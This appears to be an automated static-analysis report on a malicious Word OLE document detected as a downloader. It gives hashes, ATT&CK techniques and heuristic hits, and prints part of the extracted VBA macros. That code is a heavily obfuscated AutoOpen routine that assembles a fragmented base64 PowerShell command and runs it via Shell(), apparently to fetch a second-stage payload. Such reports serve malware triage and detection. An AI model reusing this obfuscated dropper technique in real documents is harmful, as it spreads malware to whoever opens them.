Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f584a3e228a75167…

MALICIOUS

Office (OLE)

95.8 KB Created: 2018-06-11 10:54:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: f0a244f856f3217e1047ea99d0b1e3b5 SHA-1: 2a6beeaddd05da3b797d4ae4b95e6bdd01d49122 SHA-256: f584a3e228a751670567f5fc0bb6cae0768ad8a334f13e3ad04eb4df5b30569d
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen macro, which are designed to execute code. Specifically, the Autoopen subroutine calls a function that uses the Shell() command to execute a string. This string appears to be a PowerShell command, indicated by the concatenation of strings like 'HeLL' + ' -e' + ' IAAuACgAIAAkAFAAcwBIAE8AbQBFAFsA...'. This command likely downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports its nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10378 bytes
SHA-256: 243bca5e94a34c5a12dba9c0c4ee0f5b069c45ac609255b968e13c26d5e7b186
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HwdfRtu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function iSrdFmN()
On Error Resume Next
iKAddk = CLng(59584 * CSng(TXRMdt + ChrB(CIaam + CInt(38484))))
YXojN = Int(cifAU)
rJoLbq = Azjcsl
uWzpXr = Sldoz
OzpsQ = lBOOwz
vTOouv = TVGjqd
WZXKXd = CLng(38560 * CSng(AIrLAz + ChrB(jHBpmw + CInt(3785))))
witCD = Int(tICnPP)
qEZVQT = Gzjvv
pzfAqj = Wabdb
iHzpY = kQpDcT
cizzz = GdEtdB
iSrdFmN = rPMIhAAQI + Shell(UfiXujVCVjo + Chr(GblXXvqvoj + vbKeyP + wnbDAs) + "owers" + Lkjzp + ObKcIzh + lqamIFIjzZ + afhrdvF + YjbEZkY, 56639 - 56639)
ivGPcv = CLng(88108 * CSng(kLHILK + ChrB(JzvDj + CInt(38708))))
lYbcj = Int(niNVn)
BpKabh = WsXprn
vTEzaV = fJhozO
MGzlV = IWzZUW
zLOjj = tZUZPv
End Function
Sub Autoopen()
On Error Resume Next
wWfdl = CLng(54076 * CSng(BKlZE + ChrB(EiZTf + CInt(56694))))
OfTvw = Int(KVwrh)
pCkmqW = sDEmao
NkPAAt = rDTCji
RzCSDr = TTsiz
lAJstH = qZGwr
iSrdFmN
vwzRjH = CLng(83590 * CSng(aGCTX + ChrB(PuQWSC + CInt(1541))))
qtbJc = Int(qrqEb)
vQUCJ = FmKtHY
JDwJj = onuHFq
fjPiP = sIBzaO
rwOqw = CmSHui
End Sub


Attribute VB_Name = "YmbBIOMj"
Function Lkjzp()
On Error Resume Next
VakwK = CLng(40276 * CSng(MqiAKL + ChrB(sTKmo + CInt(94205))))
qwDsLL = Int(CXabLq)
hubbB = thmRs
qLVaR = FBfch
zJAKS = YzUPK
jLmpG = LlzHU
XDjWz = "HeLL" + " -e" + " IAAuACgAIAAkA" + "FAAcwBIAE8" + "AbQBFA" + "FsAM" + "gAxA"
jzIRF = CLng(78941 * CSng(FMUcsH + ChrB(Pittja + CInt(2159))))
rGXPvW = Int(wHroi)
VzHtfo = LOjui
shsGY = RkGCup
EoQNkE = Eufmz
mvkcX = hXijEB
EwlZRmsZf = "F0AKwAkAFAAcwBI" + "AG8AbQBFAFsA" + "MwA0AF0AK" + "wAnAFg" + "AJ" + "wA" + "pACgAIABuAGUA" + "VwAtAE8" + "AYgBKAEUAY" + "wBUACAA"
uRtOz = CLng(24185 * CSng(ljRvB + ChrB(pJTwBF + CInt(12892))))
HVzdi = Int(IWaEM)
RKHLf = ZvSCip
YnXDfh = uwmvtl
vvOJM = phfCHT
jLCEr = BGdkT
FRjswbK = "IABJAE8AL" + "gBjAG8ATQ" + "BwAFIARQBz" + "AFMASQBPAG4AL" + "gBEA" + "EUAZgBsAEEAVA" + "BFAHMAdAByAEU"
XORSXM = CLng(35014 * CSng(PizDtS + ChrB(mrIVw + CInt(23210))))
RjwiE = Int(kMRLvO)
TYPHpp = FCLwK
COPVO = iKwhW
HiJCNo = fdnOb
fHmIP = zXfjV
ScCTVbLci = "AQQB" + "tACgAI" + "AB" + "bAFMAW"
vzYfiX = CLng(81195 * CSng(SiGQCo + ChrB(qfuPA + CInt(75557))))
iPwCj = Int(YRcCn)
Rqjzz = YihzA
FbAGr = RVKaOJ
cqjUBG = czXjH
vzbEnk = bwFJS
BqlfuzrYKT = "QBz" + "AFQAZQB" + "NAC4ASQBPA" + "C4Ab" + "QBlAG0AbwBS" + "AHk"
rkSvr = CLng(53767 * CSng(QWZsO + ChrB(rvsIDT + CInt(97138))))
pStFn = Int(uHjkWB)
PUKBjE = PYZjpH
TioCpT = BRZpD
fJqpVM = cbiGX
QwQtJ = jlaYr
FWqZWnDYajI = "AUwBU" + "AHIAZQBhAE0AX" + "QAgAFs" + "Acw" + "BZAHMAVABFAE0" + "ALgBjAG8ATgBWA" + "GUAcgBUAF0AOgA6" + "AGYAUgBvAE0AY"
hhNNCk = CLng(22755 * CSng(GCFikO + ChrB(CQrAhi + CInt(50154))))
RlYPa = Int(MEkwG)
iqPZzu = IOriJu
dVjYKE = iwbdV
EuzVjd = wLARCm
RpaDPV = uqVLoC
QOCqVrR = "gB" + "hAHMARQA2ADQA" + "UwBUAFIASQB" + "uAGcAKAAg" + "AC" + "cAVg" + "BaAEQ"
AunwcJ = CLng(82565 * CSng(QVwfT + ChrB(RUSVYV + CInt(80065))))
VYNAzK = Int(cJvau)
QNUacr = YEEjB
cWCqPh = LZPicL
JoMDFZ = BHzvvd
QRUizw = hZTftD
QjMJnT = "AdABTAH" + "cASgBCAEUATQBi" + "AC8AbABm" + "ADEAdwBjAE" + "UA" + "cQA1AFYAeQ"
rzlwRL = CLng(89332 * CSng(rAibIb + ChrB(FuUDF + CInt(89117))))
vEdNw = Int(PtXLWE)
JLwdS = hZTzXp
RTYLp = sjChVE
RUwdS = ERGuw
lONibF = XsKvV
UQFUCMj = "BBAEcASABrAEcAb" + "AB2AF" + "IAR" + "wBKAGMAW" + "QB" + "rAEY" + "AUQBlAHoAdABq" + "AGQANwBxAHYAbA" + "B5ADcAb" + "wAzAHMAcQAvAHU"
Lkjzp = XDjWz + EwlZRmsZf + FRjswbK + ScCTVbLci + BqlfuzrYKT + FWqZWnDYajI + QOCqVrR + QjMJnT + UQFUCMj
End Function
Function ObKcIzh()
On Error Resume Next
WYLZG = CLng(58237 * CSng(ZGZMbq + ChrB(SkoLZZ + CInt(40864))))
jiBab = Int(jTGYc)
wjssz = XQfpA
lYmnD = WvrSoj
fCLtm = owZkl
wMJCEY = ivpDcs
OuhpjjIp = "AKwB" + "0AFoAb" + "ABKAGYAQgBtAGE" + "AZQAzAHoAR" + "ABQAFAASg"
HChZi = CLng(85154 * CSng(UTNMW + ChrB(XLHLnB + CInt(91794))))
... (truncated)

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